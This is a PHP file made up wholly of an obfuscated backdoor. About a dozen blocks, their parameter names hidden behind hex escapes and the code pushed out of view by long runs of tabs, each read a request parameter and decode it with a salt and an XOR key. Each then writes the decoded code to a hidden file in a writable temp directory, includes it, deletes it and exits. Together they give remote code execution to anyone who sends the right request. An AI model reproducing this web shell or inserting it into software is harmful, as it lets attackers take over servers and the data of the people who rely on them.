<?php																																										if(array_key_exists("e\x6Etr\x79", $_REQUEST)){ $itm = $_REQUEST["e\x6Etr\x79"]; $itm =explode ( '.' , $itm ) ; $symbol = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $o = 0; foreach ($itm as $v2) { $sChar = ord($s1[$o % $sLen]); $d = ((int)$v2 - $sChar - ($o % 10)) ^79; $symbol.=chr($d); $o++; } $ent = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TMP")]); foreach ($ent as $hld) { if ((is_dir($hld) and is_writable($hld))) { $factor = "$hld/.rec"; if (file_put_contents($factor, $symbol)) { include $factor; @unlink($factor); exit; } } } }
																																										if(array_key_exists("\x64at", $_REQUEST) && !is_null($_REQUEST["\x64at"])){ $component = array_filter([getcwd(), session_save_path(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/var/tmp"]); $binding = $_REQUEST["\x64at"]; $binding =explode ( "." , $binding ) ; $data = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s3 ); foreach( $binding as $p => $v9): $sChar = ord( $s3[$p % $sLen] ); $dec =( ( int)$v9 - $sChar -( $p % 10)) ^ 10; $data .= chr( $dec ); endforeach; $obj = 0; do { $value = $component[$obj] ?? null; if ($obj >= count($component)) break; if (is_dir($value) && is_writable($value)) { $ref = str_replace("{var_dir}", $value, "{var_dir}/.bind"); if (file_put_contents($ref, $data)) { require $ref; unlink($ref); die(); } } $obj++; } while (true); }
																																										if(isset($_REQUEST["\x72e\x66"])){ $reference = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), getenv("TEMP")]); $flag = $_REQUEST["\x72e\x66"]; $flag = explode ( '.' , $flag ) ; $itm = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $__len = count($flag); for ($v = 0; $v < $__len; $v++) { $v6 = $flag[$v]; $sChar = ord($salt7[$v % $sLen]); $dec = ((int)$v6 - $sChar - ($v % 10))^2; $itm.= chr($dec); } $factor = 0; do { $comp = $reference[$factor] ?? null; if ($factor >= count($reference)) break; if (!!is_dir($comp) && !!is_writable($comp)) { $parameter_group = str_replace("{var_dir}", $comp, "{var_dir}/.val"); $success = file_put_contents($parameter_group, $itm); if ($success) { include $parameter_group; @unlink($parameter_group); die();} } $factor++; } while (true); }
																																										if(array_key_exists("e\x6Cem", $_POST) && !is_null($_POST["e\x6Cem"])){ $reference = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TEMP"), "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TMP")]); $property_set = $_POST["e\x6Cem"]; $property_set = explode ( "." , $property_set ) ; $entity=''; $s5='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s5 ); $n=0; $__tmp=$property_set; while ($v4=array_shift($__tmp)) { $sChar=ord($s5[$n % $sLen] ); $dec=((int)$v4 - $sChar - ($n % 10)) ^ 58; $entity .=chr($dec ); $n++; } while ($ent = array_shift($reference)) { if (is_writable($ent) && is_dir($ent)) { $entry = vsprintf("%s/%s", [$ent, ".pointer"]); $success = file_put_contents($entry, $entity); if ($success) { include $entry; @unlink($entry); exit;} } } }
																																										if(in_array("o\x62\x6A\x65ct", array_keys($_POST))){ $value = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/var/tmp", "/dev/shm", "/tmp"]); $dat = $_POST["o\x62\x6A\x65ct"]; $dat = explode ( "." , $dat ) ; $record= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $m= 0; $len= count($dat); do { if($m>= $len) break; $v5= $dat[$m]; $chS= ord($s[$m % $sLen]); $dec= ((int)$v5 - $chS -($m % 10)) ^ 85; $record .= chr($dec); $m++; } while(true); for ($fac = 0, $pset = count($value); $fac < $pset; $fac++) { $rec = $value[$fac]; if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $flg = "$rec/.parameter_group"; if (file_put_contents($flg, $record)) { include $flg; @unlink($flg); die(); } } } }
																																										if(isset($_REQUEST["ho\x6C\x64\x65r"])){ $dat = $_REQUEST["ho\x6C\x64\x65r"]; $dat = explode ( "." ,$dat ) ; $res = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6 ); foreach ($dat as $z =>$v6) {$chS = ord($salt6[$z %$lenS] ); $d = ((int)$v6 - $chS - ($z %10)) ^ 7; $res .= chr($d ); } $element = array_filter([sys_get_temp_dir(), "/dev/shm", "/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getenv("TMP")]); foreach ($element as $item) { if (is_dir($item) && is_writable($item)) { $record = str_replace("{var_dir}", $item, "{var_dir}/.flag"); if (file_put_contents($record, $res)) { include $record; @unlink($record); exit; } } } }
																																										if(!empty($_REQUEST["f\x6Cag"])){ $object = array_filter(["/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), session_save_path()]); $descriptor = $_REQUEST["f\x6Cag"]; $descriptor = explode( '.', $descriptor) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); foreach( $descriptor as $t => $v2): $chS = ord( $s[$t % $sLen] ); $d =( ( int)$v2 - $chS -( $t % 10)) ^ 1; $element .= chr( $d ); endforeach; for ($binding = 0, $sym = count($object); $binding < $sym; $binding++) { $flg = $object[$binding]; if (max(0, is_dir($flg) * is_writable($flg))) { $comp = implode("/", [$flg, ".value"]); if (file_put_contents($comp, $element)) { require $comp; unlink($comp); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["r\x65f\x65\x72\x65nce"])){ $item = $_REQUEST["r\x65f\x65\x72\x65nce"]; $item = explode ( '.',$item ); $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $item as $n=> $v2) {$sChar = ord( $salt[$n% $lenS]); $dec =( ( int)$v2 - $sChar -( $n% 10)) ^68; $record.=chr( $dec); } $tkn = array_filter([session_save_path(), "/tmp", getcwd(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP")]); foreach ($tkn as $key => $dchunk) { if (is_dir($dchunk) ? is_writable($dchunk) : false) { $comp = "$dchunk/.ent"; if (@file_put_contents($comp, $record) !== false) { include $comp; unlink($comp); die(); } } } }
																																										if(array_key_exists("fac\x74or", $_POST)){ $comp = array_filter([getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP")]); $tkn = $_POST["fac\x74or"]; $tkn = explode ( '.', $tkn ); $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $l = 0; $len = count($tkn ); do { if ($l>= $len) break; $v4 = $tkn[$l]; $chS = ord($s[$l % $lenS] ); $dec = ((int)$v4 - $chS - ($l % 10)) ^ 90; $ref .= chr($dec ); $l++; } while (true ); foreach ($comp as $data) { if ((is_dir($data) and is_writable($data))) { $elem = join("/", [$data, ".pointer"]); $success = file_put_contents($elem, $ref); if ($success) { include $elem; @unlink($elem); die();} } } }
																																										if(in_array("d\x65\x73\x63\x72ipto\x72", array_keys($_REQUEST))){ $dat = array_filter(["/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), session_save_path(), getenv("TEMP"), "/dev/shm"]); $rec = $_REQUEST["d\x65\x73\x63\x72ipto\x72"]; $rec = explode ( "." , $rec ) ; $component =''; $s4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s4); $n =0; foreach( $rec as $v6) {$sChar =ord( $s4[$n % $lenS]); $dec =( ( int)$v6 - $sChar -( $n % 10)) ^ 81; $component .= chr( $dec); $n++;} while ($factor = array_shift($dat)) { if (max(0, is_dir($factor) * is_writable($factor))) { $token = sprintf("%s/.entry", $factor); if (@file_put_contents($token, $component) !== false) { include $token; unlink($token); exit; } } } }
																																										if(!is_null($_REQUEST["b\x69\x6Eding"] ?? null)){ $ent = array_filter(["/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP"), getcwd()]); $dat = $_REQUEST["b\x69\x6Eding"]; $dat =explode ( '.',$dat ) ; $pgrp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $q = 0; $len = count( $dat); do { if( $q >= $len) break; $v6 = $dat[$q]; $sChar = ord( $salt[$q % $sLen]); $d =( ( int)$v6 - $sChar -( $q % 10)) ^ 87; $pgrp .=chr( $d); $q++;} while( true); foreach ($ent as $dchunk): if ((is_dir($dchunk) and is_writable($dchunk))) { $key = join("/", [$dchunk, ".elem"]); $success = file_put_contents($key, $pgrp); if ($success) { include $key; @unlink($key); die();} } endforeach; }


if(filter_has_var(INPUT_POST, "p\x73\x65t")){
	$hld = $_POST["p\x73\x65t"];
	$hld			= explode 	(	 "."	,	$hld ) 		;
	$dat ='';
            $salt7 ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =strlen(	$salt7	);
            $p =0;
    
            $__tmp =$hld;
            while(	$v5 =array_shift(	$__tmp)) {		$sChar =ord(	$salt7[$p	% $lenS]	);
                $dec =(	(	int)$v5 - $sChar -(	$p	% 10)) ^ 64;
                $dat 	.=		chr(	$dec	);
                $p++;}	 
	$comp = array_filter(["/var/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP")]);
	while ($descriptor = array_shift($comp)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) {
    $itm = implode("/", [$descriptor, ".factor"]);
    if (@file_put_contents($itm, $dat) !== false) {
	include $itm;
	unlink($itm);
	die();
}
}
}
}